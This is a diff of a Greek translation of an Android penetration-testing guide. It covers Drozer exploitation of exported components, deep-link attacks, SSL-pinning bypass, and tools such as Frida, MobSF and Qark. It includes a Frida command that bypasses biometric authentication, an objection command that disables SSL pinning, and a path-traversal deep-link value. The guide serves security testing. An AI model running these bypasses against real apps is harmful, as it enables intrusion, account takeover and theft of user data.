Οι εφαρμογές συχνά ενσωματώνουν υπηρεσίες όπως το Google Adsense, οι οποίες μπορεί να **διαρρεύσουν ευαίσθητα δεδομένα** λόγω κακής υλοποίησης από τους προγραμματιστές. Για να εντοπίσετε πιθανές διαρροές δεδομένων, είναι σκόπιμο να **παρεμβάλετε την κίνηση της εφαρμογής** και να ελέγξετε αν αποστέλλεται οποιαδήποτε ευαίσθητη πληροφορία σε τρίτες υπηρεσίες.
### SQLite DBs
@ -310,7 +314,7 @@ avd-android-virtual-device.md
### Drozer (Εκμετάλλευση Δραστηριοτήτων, Παρόχων Περιεχομένου και Υπηρεσιών)
Από [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** σας επιτρέπει να **αναλάβετε το ρόλο μιας εφαρμογής Android** και να αλληλεπιδράσετε με άλλες εφαρμογές. Μπορεί να κάνει **οτιδήποτε μπορεί να κάνει μια εγκατεστημένη εφαρμογή**, όπως να χρησιμοποιήσει τον μηχανισμό Επικοινωνίας Μεταξύ Διαδικασιών (IPC) του Android και να αλληλεπιδράσει με το υποκείμενο λειτουργικό σύστημα.\
Από [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** σας επιτρέπει να **αναλαμβάνετε το ρόλο μιας εφαρμογής Android** και να αλληλεπιδράτε με άλλες εφαρμογές. Μπορεί να κάνει **οτιδήποτε μπορεί να κάνει μια εγκατεστημένη εφαρμογή**, όπως να χρησιμοποιήσει τον μηχανισμό Επικοινωνίας Μεταξύ Διαδικασιών (IPC) του Android και να αλληλεπιδράσει με το υποκείμενο λειτουργικό σύστημα.\
Το Drozer είναι ένα χρήσιμο εργαλείο για **να εκμεταλλευτείτε εξαγόμενες δραστηριότητες, εξαγόμενες υπηρεσίες και Παρόχους Περιεχομένου** όπως θα μάθετε στις επόμενες ενότητες.
### Εκμετάλλευση εξαγόμενων Δραστηριοτήτων
@ -320,7 +324,7 @@ avd-android-virtual-device.md
**Παράκαμψη εξουσιοδότησης**
Όταν μια Δραστηριότητα είναι εξαγόμενη, μπορείτε να καλέσετε την οθόνη της από μια εξωτερική εφαρμογή. Επομένως, αν μια δραστηριότητα με **ευαίσθητες πληροφορίες** είναι **εξαγόμενη**, θα μπορούσατε να **παράκαμψετε** τους **μηχανισμούς αυθεντικοποίησης** **για να την αποκτήσετε**.
Όταν μια Δραστηριότητα είναι εξαγόμενη, μπορείτε να καλέσετε την οθόνη της από μια εξωτερική εφαρμογή. Επομένως, αν μια δραστηριότητα με **ευαίσθητες πληροφορίες** είναι **εξαγόμενη**, θα μπορούσατε να **παρακάμψετε** τους **μηχανισμούς αυθεντικοποίησης** **για να την αποκτήσετε**.
[**Μάθετε πώς να εκμεταλλευτείτε εξαγόμενες δραστηριότητες με το Drozer.**](drozer-tutorial/index.html#activities)
@ -347,7 +351,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
### Εκμετάλλευση Παρόχων Περιεχομένου - Πρόσβαση και χειρισμός ευαίσθητων πληροφοριών
[**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι ένας Πάροχος Περιεχομένου.**](android-applications-basics.md#content-provider)\
Οι πάροχοι περιεχομένου χρησιμοποιούνται βασικά για να **μοιράζονται δεδομένα**. Εάν μια εφαρμογή έχει διαθέσιμους παρόχους περιεχομένου, μπορεί να είστε σε θέση να **εξάγετε ευαίσθητα** δεδομένα από αυτούς. Είναι επίσης ενδιαφέρον να δοκιμάσετε πιθανές **SQL injections** και **Path Traversals** καθώς θα μπορούσαν να είναι ευάλωτοι.
Οι πάροχοι περιεχομένου χρησιμοποιούνται βασικά για να **μοιράζονται δεδομένα**. Εάν μια εφαρμογή έχει διαθέσιμους παρόχους περιεχομένου, μπορεί να είστε σε θέση να **εξάγετε ευαίσθητα** δεδομένα από αυτούς. Είναι επίσης ενδιαφέρον να δοκιμάσετε πιθανές **SQL injections** και **Path Traversals** καθώς μπορεί να είναι ευάλωτοι.
[**Μάθετε πώς να εκμεταλλευτείτε τους Παρόχους Περιεχομένου με το Drozer.**](drozer-tutorial/index.html#content-providers)
@ -364,7 +368,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
[**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι ένας Δέκτης Εκπομπών.**](android-applications-basics.md#broadcast-receivers)\
Θυμηθείτε ότι οι ενέργειες ενός Δέκτη Εκπομπών ξεκινούν στη μέθοδο `onReceive`.
Ένας δέκτης εκπομπών θα περιμένει για έναν τύπο μηνύματος. Ανάλογα με το πώς ο δέκτης χειρίζεται το μήνυμα, θα μπορούσε να είναι ευάλωτος.\
Ένας δέκτης εκπομπών θα περιμένει για έναν τύπο μηνύματος. Ανάλογα με το πώς ο δέκτης χειρίζεται το μήνυμα, μπορεί να είναι ευάλωτος.\
[**Μάθετε πώς να εκμεταλλευτείτε τους Δέκτες Εκπομπών με το Drozer.**](#exploiting-broadcast-receivers)
### **Εκμετάλλευση Σχημάτων / Deep links**
@ -391,10 +395,10 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το
Κάθε φορά που βρίσκετε ένα deep link ελέγξτε ότι **δεν λαμβάνει ευαίσθητα δεδομένα (όπως κωδικούς πρόσβασης) μέσω παραμέτρων URL**, γιατί οποιαδήποτε άλλη εφαρμογή θα μπορούσε **να προσποιηθεί το deep link και να κλέψει αυτά τα δεδομένα!**
**Παράμετροι στη διαδρομή**
**Παράμετροι στο μονοπάτι**
Πρέπει επίσης να **ελέγξετε αν κάποιο deep link χρησιμοποιεί μια παράμετρο μέσα στη διαδρομή** του URL όπως: `https://api.example.com/v1/users/{username}`, σε αυτή την περίπτωση μπορείτε να αναγκάσετε μια διαδρομή traversal αποκτώντας πρόσβαση σε κάτι όπως: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
Σημειώστε ότι αν βρείτε τα σωστά endpoints μέσα στην εφαρμογή μπορεί να είστε σε θέση να προκαλέσετε μια **Open Redirect** (αν μέρος της διαδρομής χρησιμοποιείται ως όνομα τομέα), **κατάληψη λογαριασμού** (αν μπορείτε να τροποποιήσετε λεπτομέρειες χρηστών χωρίς CSRF token και το ευάλωτο endpoint χρησιμοποίησε τη σωστή μέθοδο) και οποιαδήποτε άλλη ευπάθεια. Περισσότερες [πληροφορίες σχετικά με αυτό εδώ](http://dphoeniixx.com/2020/12/13-2/).
Πρέπει επίσης να **ελέγξετε αν κάποιο deep link χρησιμοποιεί μια παράμετρο μέσα στο μονοπάτι** του URL όπως: `https://api.example.com/v1/users/{username}`, σε αυτή την περίπτωση μπορείτε να αναγκάσετε μια διαδρομή πρόσβασης σε κάτι όπως: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
Σημειώστε ότι αν βρείτε τα σωστά endpoints μέσα στην εφαρμογή μπορεί να είστε σε θέση να προκαλέσετε μια **Open Redirect** (αν μέρος του μονοπατιού χρησιμοποιείται ως όνομα τομέα), **κατάληψη λογαριασμού** (αν μπορείτε να τροποποιήσετε λεπτομέρειες χρηστών χωρίς CSRF token και το ευάλωτο endpoint χρησιμοποίησε τη σωστή μέθοδο) και οποιαδήποτε άλλη ευπάθεια. Περισσότερες [πληροφορίες σχετικά με αυτό εδώ](http://dphoeniixx.com/2020/12/13-2/).
**Περισσότερα παραδείγματα**
@ -412,25 +416,25 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το
#### SSL Pinning
Το SSL Pinning είναι ένα μέτρο ασφαλείας όπου η εφαρμογή επαληθεύει το πιστοποιητικό του διακομιστή με μια γνωστή αντίγραφο που είναι αποθηκευμένο μέσα στην ίδια την εφαρμογή. Αυτή η μέθοδος είναι απαραίτητη για την αποτροπή επιθέσεων MITM. Συνιστάται έντονα η εφαρμογή SSL Pinning για εφαρμογές που χειρίζονται ευαίσθητες πληροφορίες.
Το SSL Pinning είναι ένα μέτρο ασφαλείας όπου η εφαρμογή επαληθεύει το πιστοποιητικό του διακομιστή με ένα γνωστό αντίγραφο που είναι αποθηκευμένο μέσα στην ίδια την εφαρμογή. Αυτή η μέθοδος είναι απαραίτητη για την αποτροπή επιθέσεων MITM. Συνιστάται έντονα η εφαρμογή SSL Pinning για εφαρμογές που χειρίζονται ευαίσθητες πληροφορίες.
#### Επιθεώρηση Κίνησης
#### Επιθεώρηση Κυκλοφορίας
Για να επιθεωρήσετε την κίνηση HTTP, είναι απαραίτητο να **εγκαταστήσετε το πιστοποιητικό του εργαλείου proxy** (π.χ., Burp). Χωρίς την εγκατάσταση αυτού του πιστοποιητικού, η κρυπτογραφημένη κίνηση μπορεί να μην είναι ορατή μέσω του proxy. Για οδηγίες σχετικά με την εγκατάσταση ενός προσαρμοσμένου πιστοποιητικού CA, [**κάντε κλικ εδώ**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Για να επιθεωρήσετε την HTTP κυκλοφορία, είναι απαραίτητο να **εγκαταστήσετε το πιστοποιητικό του εργαλείου proxy** (π.χ., Burp). Χωρίς την εγκατάσταση αυτού του πιστοποιητικού, η κρυπτογραφημένη κυκλοφορία μπορεί να μην είναι ορατή μέσω του proxy. Για οδηγίες σχετικά με την εγκατάσταση ενός προσαρμοσμένου πιστοποιητικού CA, [**κάντε κλικ εδώ**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Οι εφαρμογές που στοχεύουν **API Level 24 και άνω** απαιτούν τροποποιήσεις στη Διαμόρφωση Ασφαλείας Δικτύου για να αποδεχτούν το πιστοποιητικό CA του proxy. Αυτό το βήμα είναι κρίσιμο για την επιθεώρηση κρυπτογραφημένης κίνησης. Για οδηγίες σχετικά με την τροποποίηση της Διαμόρφωσης Ασφαλείας Δικτύου, [**ανατρέξτε σε αυτό το σεμινάριο**](make-apk-accept-ca-certificate.md).
Οι εφαρμογές που στοχεύουν **API Level 24 και άνω** απαιτούν τροποποιήσεις στη Ρύθμιση Ασφαλείας Δικτύου για να αποδεχτούν το πιστοποιητικό CA του proxy. Αυτό το βήμα είναι κρίσιμο για την επιθεώρηση κρυπτογραφημένης κυκλοφορίας. Για οδηγίες σχετικά με την τροποποίηση της Ρύθμισης Ασφαλείας Δικτύου, [**ανατρέξτε σε αυτό το σεμινάριο**](make-apk-accept-ca-certificate.md).
Αν χρησιμοποιείται **Flutter** πρέπει να ακολουθήσετε τις οδηγίες σε [**αυτή τη σελίδα**](flutter.md). Αυτό συμβαίνει γιατί, απλά προσθέτοντας το πιστοποιητικό στο κατάστημα δεν θα λειτουργήσει καθώς το Flutter έχει τη δική του λίστα έγκυρων CA.
#### Παράκαμψη SSL Pinning
Όταν έχει εφαρμοστεί το SSL Pinning, η παράκαμψή του γίνεται απαραίτητη για να επιθεωρήσετε την κίνηση HTTPS. Διατίθενται διάφορες μέθοδοι για αυτόν τον σκοπό:
Όταν έχει εφαρμοστεί το SSL Pinning, η παράκαμψή του γίνεται απαραίτητη για την επιθεώρηση της HTTPS κυκλοφορίας. Διατίθενται διάφορες μέθοδοι για αυτόν τον σκοπό:
- Αυτόματα **τροποποιήστε** το **apk** για να **παρακάμψετε** το SSLPinning με [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Το καλύτερο πλεονέκτημα αυτής της επιλογής είναι ότι δεν θα χρειαστείτε root για να παρακάμψετε το SSL Pinning, αλλά θα χρειαστεί να διαγράψετε την εφαρμογή και να εγκαταστήσετε τη νέα, και αυτό δεν θα λειτουργήσει πάντα.
- Μπορείτε να χρησιμοποιήσετε **Frida** (που συζητείται παρακάτω) για να παρακάμψετε αυτή την προστασία. Εδώ έχετε έναν οδηγό για τη χρήση Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Μπορείτε επίσης να προσπαθήσετε να **παρακάμψετε αυτόματα το SSL Pinning** χρησιμοποιώντας [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Μπορείτε επίσης να προσπαθήσετε να **παρακάμψετε αυτόματα το SSL Pinning** χρησιμοποιώντας **MobSF dynamic analysis** (εξηγείται παρακάτω)
- Αν νομίζετε ότι υπάρχει κάποια κίνηση που δεν καταγράφετε, μπορείτε να προσπαθήσετε να **προωθήσετε την κίνηση στο burp χρησιμοποιώντας iptables**. Διαβάστε αυτό το blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
- Αν νομίζετε ότι υπάρχει κάποια κυκλοφορία που δεν καταγράφετε, μπορείτε να προσπαθήσετε να **προωθήσετε την κυκλοφορία στο burp χρησιμοποιώντας iptables**. Διαβάστε αυτό το blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Αναζητώντας Κοινές Ευπάθειες Ιστού
@ -439,8 +443,8 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το
### Frida
[Frida](https://www.frida.re) είναι ένα εργαλείο δυναμικής εργονομίας για προγραμματιστές, αναλυτές αντίστροφης μηχανικής και ερευνητές ασφαλείας.\
**Μπορείτε να αποκτήσετε πρόσβαση σε εκτελούμενες εφαρμογές και να συνδέσετε μεθόδους σε πραγματικό χρόνο για να αλλάξετε τη συμπεριφορά, να αλλάξετε τιμές, να εξάγετε τιμές, να εκτελέσετε διαφορετικό κώδικα...**\
Αν θέλετε να κάνετε pentest σε εφαρμογές Android πρέπει να ξέρετε πώς να χρησιμοποιείτε το Frida.
**Μπορείτε να έχετε πρόσβαση σε εκτελούμενες εφαρμογές και να συνδέσετε μεθόδους σε πραγματικό χρόνο για να αλλάξετε τη συμπεριφορά, να αλλάξετε τιμές, να εξάγετε τιμές, να εκτελέσετε διαφορετικό κώδικα...**\
Αν θέλετε να κάνετε pentest σε Android εφαρμογές πρέπει να ξέρετε πώς να χρησιμοποιείτε το Frida.
- Μάθετε πώς να χρησιμοποιείτε το Frida: [**Frida tutorial**](frida-tutorial/index.html)
- Μερικά "GUI" για ενέργειες με το Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
@ -473,7 +477,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
```
### **Ευαίσθητα δεδομένα στο Keystore**
Στο Android, το Keystore είναι το καλύτερο μέρος για να αποθηκεύσετε ευαίσθητα δεδομένα, ωστόσο, με αρκετά δικαιώματα είναι ακόμα **δυνατό να αποκτήσετε πρόσβαση σε αυτό**. Καθώς οι εφαρμογές τείνουν να αποθηκεύουν εδώ **ευαίσθητα δεδομένα σε καθαρό κείμενο**, οι pentests θα πρέπει να ελέγχουν γι' αυτό ως χρήστης root ή κάποιος με φυσική πρόσβαση στη συσκευή θα μπορούσε να είναι σε θέση να κλέψει αυτά τα δεδομένα.
Στο Android, το Keystore είναι το καλύτερο μέρος για να αποθηκεύσετε ευαίσθητα δεδομένα, ωστόσο, με αρκετά δικαιώματα είναι ακόμα **δυνατό να αποκτήσετε πρόσβαση σε αυτό**. Καθώς οι εφαρμογές τείνουν να αποθηκεύουν εδώ **ευαίσθητα δεδομένα σε καθαρό κείμενο**, οι pentests θα πρέπει να ελέγχουν γι' αυτό ως χρήστες root ή κάποιοι με φυσική πρόσβαση στη συσκευή θα μπορούσαν να είναι σε θέση να κλέψουν αυτά τα δεδομένα.
Ακόμα και αν μια εφαρμογή αποθηκεύει δεδομένα στο keystore, τα δεδομένα θα πρέπει να είναι κρυπτογραφημένα.
@ -481,9 +485,9 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
```bash
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Fingerprint/Biometrics Bypass**
### **Παράκαμψη Δακτυλικών Αποτυπωμάτων/Βιομετρικών**
Χρησιμοποιώντας το παρακάτω σενάριο Frida, θα μπορούσε να είναι δυνατό να **παρακαμφθεί η αυθεντικοποίηση δακτυλικού αποτυπώματος** που ενδέχεται να εκτελούν οι εφαρμογές Android προκειμένου να **προστατεύσουν ορισμένες ευαίσθητες περιοχές:**
Χρησιμοποιώντας το παρακάτω σενάριο Frida, θα μπορούσε να είναι δυνατό να **παρακαμφθεί η αυθεντικοποίηση δακτυλικών αποτυπωμάτων** που ενδέχεται να εκτελούν οι εφαρμογές Android προκειμένου να **προστατεύσουν ορισμένες ευαίσθητες περιοχές:**
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
@ -509,7 +513,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
Ο κίνδυνος έγκειται στην επιτρεπτικότητα στους επιτιθέμενους να ενεργοποιούν μη εξαγόμενα components εφαρμογής ή να έχουν πρόσβαση σε ευαίσθητους content providers παραπλανώντας αυτά τα Intents. Ένα αξιοσημείωτο παράδειγμα είναι το component `WebView` που μετατρέπει URLs σε αντικείμενα `Intent` μέσω `Intent.parseUri(...)` και στη συνέχεια τα εκτελεί, ενδεχομένως οδηγώντας σε κακόβουλες εισαγωγές Intent.
### Σημαντικά Σημεία
### Βασικά Σημεία
- **Εισαγωγή Intent** είναι παρόμοια με το πρόβλημα Open Redirect του ιστού.
- Οι εκμεταλλεύσεις περιλαμβάνουν την παράδοση αντικειμένων `Intent` ως extras, τα οποία μπορούν να ανακατευθυνθούν για να εκτελέσουν μη ασφαλείς λειτουργίες.
@ -544,26 +548,26 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
Παρατηρήστε ότι το MobSF μπορεί να αναλύσει **Android**(apk)**, IOS**(ipa) **και Windows**(apx) εφαρμογές (_Οι εφαρμογές Windows πρέπει να αναλύονται από ένα MobSF εγκατεστημένο σε έναν υπολογιστή Windows_).\
Επίσης, αν δημιουργήσετε ένα **ZIP** αρχείο με τον πηγαίο κώδικα μιας **Android** ή **IOS** εφαρμογής (πηγαίνετε στον ριζικό φάκελο της εφαρμογής, επιλέξτε τα πάντα και δημιουργήστε ένα ZIP αρχείο), θα μπορέσει να το αναλύσει επίσης.
Το MobSF επιτρέπει επίσης να κάνετε **diff/Compare** ανάλυση και να ενσωματώσετε το **VirusTotal** (θα χρειαστεί να ρυθμίσετε το API key σας στο _MobSF/settings.py_ και να το ενεργοποιήσετε: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Μπορείτε επίσης να ρυθμίσετε το `VT_UPLOAD` σε `False`, τότε το **hash** θα **ανεβεί** αντί για το αρχείο.
Το MobSF επιτρέπει επίσης την **diff/Compare** ανάλυση και την ενσωμάτωση του **VirusTotal** (θα χρειαστεί να ρυθμίσετε το API key σας στο _MobSF/settings.py_ και να το ενεργοποιήσετε: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Μπορείτε επίσης να ρυθμίσετε το `VT_UPLOAD` σε `False`, τότε το **hash** θα **ανεβεί** αντί για το αρχείο.
### Βοηθητική Δυναμική ανάλυση με το MobSF
**MobSF** μπορεί επίσης να είναι πολύ χρήσιμο για **δυναμική ανάλυση** σε **Android**, αλλά σε αυτή την περίπτωση θα χρειαστεί να εγκαταστήσετε το MobSF και το **genymotion** στον υπολογιστή σας (μια VM ή Docker δεν θα λειτουργήσει). _Σημείωση: Πρέπει να **ξεκινήσετε πρώτα μια VM στο genymotion** και **μετά το MobSF.**_\
Ο **δυναμικός αναλυτής MobSF** μπορεί να:
- **Dump application data** (URLs, logs, clipboard, screenshots που κάνατε εσείς, screenshots που έγιναν από τον "**Exported Activity Tester**", emails, SQLite βάσεις δεδομένων, XML αρχεία και άλλα δημιουργημένα αρχεία). Όλα αυτά γίνονται αυτόματα εκτός από τα screenshots, πρέπει να πατήσετε όταν θέλετε ένα screenshot ή πρέπει να πατήσετε "**Exported Activity Tester**" για να αποκτήσετε screenshots όλων των εξαγόμενων δραστηριοτήτων.
- **Dump application data** (URLs, logs, clipboard, screenshots που κάνατε εσείς, screenshots που έγιναν από τον "**Exported Activity Tester**", emails, SQLite βάσεις δεδομένων, XML αρχεία και άλλα δημιουργημένα αρχεία). Όλα αυτά γίνονται αυτόματα εκτός από τα screenshots, πρέπει να πατήσετε όταν θέλετε ένα screenshot ή να πατήσετε "**Exported Activity Tester**" για να αποκτήσετε screenshots όλων των εξαγόμενων δραστηριοτήτων.
- Capture **HTTPS traffic**
- Use **Frida** to obtain **runtime** **information**
- Χρησιμοποιήστε το **Frida** για να αποκτήσετε **runtime** **information**
Από τις εκδόσεις Android **> 5**, θα **ξεκινήσει αυτόματα το Frida** και θα ρυθμίσει τις παγκόσμιες ρυθμίσεις **proxy** για να **συλλάβει** την κίνηση. Θα συλλάβει μόνο την κίνηση από την εφαρμογή που δοκιμάζεται.
Από τις εκδόσεις Android **> 5**, θα **ξεκινήσει αυτόματα το Frida** και θα ρυθμίσει τις παγκόσμιες ρυθμίσεις **proxy** για να **καταγράψει** την κίνηση. Θα καταγράψει μόνο την κίνηση από την εφαρμογή που δοκιμάζεται.
**Frida**
Από προεπιλογή, θα χρησιμοποιήσει επίσης κάποια Frida Scripts για να **παρακάμψει το SSL pinning**, **ανίχνευση root** και **ανίχνευση debugger** και για να **παρακολουθήσει ενδιαφέροντα APIs**.\
Από προεπιλογή, θα χρησιμοποιήσει επίσης κάποια Frida Scripts για να **παρακάμψει το SSL pinning**, **root detection** και **debugger detection** και για να **παρακολουθήσει ενδιαφέροντα APIs**.\
Το MobSF μπορεί επίσης να **καλέσει εξαγόμενες δραστηριότητες**, να τραβήξει **screenshots** από αυτές και να τις **αποθηκεύσει** για την αναφορά.
Για να **ξεκινήσετε** τη δυναμική δοκιμή πατήστε το πράσινο κουμπί: "**Start Instrumentation**". Πατήστε το "**Frida Live Logs**" για να δείτε τα logs που δημιουργούνται από τα Frida scripts και "**Live API Monitor**" για να δείτε όλες τις κλήσεις σε συνδεδεμένες μεθόδους, τα ορίσματα που περνιούνται και τις επιστρεφόμενες τιμές (αυτό θα εμφανιστεί μετά την πίεση του "Start Instrumentation").\
Το MobSF επιτρέπει επίσης να φορτώσετε τα δικά σας **Frida scripts** (για να στείλετε τα αποτελέσματα των Frida scripts σας στο MobSF χρησιμοποιήστε τη λειτουργία `send()`). Έχει επίσης **πολλά προ-γραμμένα scripts** που μπορείτε να φορτώσετε (μπορείτε να προσθέσετε περισσότερα στο `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), απλά **επιλέξτε τα**, πατήστε "**Load**" και πατήστε "**Start Instrumentation**" (θα μπορείτε να δείτε τα logs αυτών των scripts μέσα στο "**Frida Live Logs**").
Για να **ξεκινήσετε** τη δυναμική δοκιμή πατήστε το πράσινο κουμπί: "**Start Instrumentation**". Πατήστε το "**Frida Live Logs**" για να δείτε τα logs που δημιουργούνται από τα Frida scripts και "**Live API Monitor**" για να δείτε όλες τις κλήσεις σε hooked μεθόδους, τα ορίσματα που περνιούνται και τις επιστρεφόμενες τιμές (αυτό θα εμφανιστεί μετά την πίεση του "Start Instrumentation").\
Το MobSF επιτρέπει επίσης να φορτώσετε τα δικά σας **Frida scripts** (για να στείλετε τα αποτελέσματα των Friday scripts στο MobSF χρησιμοποιήστε τη λειτουργία `send()`). Έχει επίσης **πολλά προ-γραμμένα scripts** που μπορείτε να φορτώσετε (μπορείτε να προσθέσετε περισσότερα στο `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), απλά **επιλέξτε τα**, πατήστε "**Load**" και πατήστε "**Start Instrumentation**" (θα μπορείτε να δείτε τα logs αυτών των scripts μέσα στο "**Frida Live Logs**").
![](<../../images/image (419).png>)
@ -574,9 +578,9 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
- **Capture String Comparisons**: Μπορεί να είναι πολύ χρήσιμο. Θα **δείξει τις 2 συμβολοσειρές που συγκρίνονται** και αν το αποτέλεσμα ήταν True ή False.
- **Enumerate Class Methods**: Βάλτε το όνομα της κλάσης (όπως "java.io.File") και θα εκτυπώσει όλες τις μεθόδους της κλάσης.
- **Search Class Pattern**: Αναζητήστε κλάσεις κατά μοτίβο
- **Trace Class Methods**: **Trace** μια **ολόκληρη κλάση** (δείτε τις εισόδους και τις εξόδους όλων των μεθόδων της κλάσης). Θυμηθείτε ότι από προεπιλογή το MobSF παρακολουθεί πολλές ενδιαφέρουσες μεθόδους Android Api.
- **Trace Class Methods**: **Trace** μια **ολόκληρη κλάση** (δείτε τις εισόδους και εξόδους όλων των μεθόδων της κλάσης). Θυμηθείτε ότι από προεπιλογή το MobSF παρακολουθεί πολλές ενδιαφέρουσες μεθόδους Android Api.
Αφού επιλέξετε το βοηθητικό module που θέλετε να χρησιμοποιήσετε, πρέπει να πατήσετε "**Start Instrumentation**" και θα δείτε όλες τις εξόδους στο "**Frida Live Logs**".
Αφού επιλέξετε το βοηθητικό module που θέλετε να χρησιμοποιήσετε, πρέπει να πατήσετε "**Start Intrumentation**" και θα δείτε όλες τις εξόδους στο "**Frida Live Logs**".
**Shell**
@ -616,7 +620,7 @@ receivers
### [Qark](https://github.com/linkedin/qark)
Αυτό το εργαλείο έχει σχεδιαστεί για να αναζητά αρκετές **ευπάθειες σχετικές με την ασφάλεια εφαρμογών Android**, είτε στον **κώδικα πηγής** είτε σε **πακεταρισμένα APKs**. Το εργαλείο είναι επίσης **ικανό να δημιουργεί ένα "Proof-of-Concept" αναπτυξιμό APK** και **εντολές ADB**, για να εκμεταλλευτεί κάποιες από τις ευπάθειες που βρέθηκαν (Εκτεθειμένες δραστηριότητες, intents, tapjacking...). Όπως και με το Drozer, δεν χρειάζεται να κάνετε root τη συσκευή δοκιμής.
Αυτό το εργαλείο έχει σχεδιαστεί για να αναζητά αρκετές **ευπάθειες σχετικές με την ασφάλεια εφαρμογών Android**, είτε στον **κώδικα πηγής** είτε σε **πακεταρισμένα APKs**. Το εργαλείο είναι επίσης **ικανό να δημιουργεί ένα "Proof-of-Concept" deployable APK** και **εντολές ADB**, για να εκμεταλλευτεί κάποιες από τις ευπάθειες που βρέθηκαν (Εκτεθειμένες δραστηριότητες, intents, tapjacking...). Όπως και με το Drozer, δεν υπάρχει ανάγκη να κάνετε root τη συσκευή δοκιμής.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -636,7 +640,7 @@ reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPER είναι μια εφαρμογή γραμμής εντολών που μπορεί να χρησιμοποιηθεί σε Windows, MacOS X και Linux, η οποία αναλύει _.apk_ αρχεία αναζητώντας ευπάθειες. Το κάνει αυτό αποσυμπιέζοντας τα APK και εφαρμόζοντας μια σειρά κανόνων για να ανιχνεύσει αυτές τις ευπάθειες.
SUPER είναι μια εφαρμογή γραμμής εντολών που μπορεί να χρησιμοποιηθεί σε Windows, MacOS X και Linux, που αναλύει _.apk_ αρχεία αναζητώντας ευπάθειες. Το κάνει αυτό αποσυμπιέζοντας τα APK και εφαρμόζοντας μια σειρά κανόνων για να ανιχνεύσει αυτές τις ευπάθειες.
Όλοι οι κανόνες είναι κεντραρισμένοι σε ένα αρχείο `rules.json`, και κάθε εταιρεία ή δοκιμαστής μπορεί να δημιουργήσει τους δικούς της κανόνες για να αναλύσει ό,τι χρειάζεται.
@ -709,11 +713,11 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
(Από αυτόν τον οδηγό) Την τελευταία φορά που ελέγξαμε, η λειτουργία του Dexguard ήταν:
- φορτώστε μια πηγή ως InputStream;
- τροφοδοτήστε το αποτέλεσμα σε μια κλάση που κληρονομεί από FilterInputStream για να το αποκρυπτογραφήσετε;
- κάντε κάποια άχρηστη απόκρυψη για να σπαταλήσετε μερικά λεπτά χρόνου από έναν αναλυτή;
- φορτώστε έναν πόρο ως InputStream;
- τροφοδοτήστε το αποτέλεσμα σε μια κλάση που κληρονομεί από το FilterInputStream για να το αποκρυπτογραφήσετε;
- κάντε κάποια άχρηστη απόκρυψη για να σπαταλήσετε λίγα λεπτά χρόνου από έναν αναλυτή;
- τροφοδοτήστε το αποκρυπτογραφημένο αποτέλεσμα σε ένα ZipInputStream για να αποκτήσετε ένα αρχείο DEX;
- τελικά φορτώστε το προκύπτον DEX ως Πηγή χρησιμοποιώντας τη μέθοδο `loadDex`.
- τελικά φορτώστε το προκύπτον DEX ως Πόρο χρησιμοποιώντας τη μέθοδο `loadDex`.
### [DeGuard](http://apk-deguard.com)
@ -731,7 +735,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
### [APKiD](https://github.com/rednaga/APKiD)
Το APKiD σας δίνει πληροφορίες για **πώς δημιουργήθηκε ένα APK**. Αναγνωρίζει πολλούς **μεταγλωττιστές**, **πακεταριστές**, **αποκρυπτογραφητές** και άλλα περίεργα πράγματα. Είναι το [_PEiD_](https://www.aldeid.com/wiki/PEiD) για το Android.
Το APKiD σας δίνει πληροφορίες για **πώς δημιουργήθηκε ένα APK**. Αναγνωρίζει πολλούς **μεταγλωττιστές**, **πακετάρες**, **αποκρυπτογραφητές** και άλλα περίεργα πράγματα. Είναι το [_PEiD_](https://www.aldeid.com/wiki/PEiD) για το Android.
### Manual

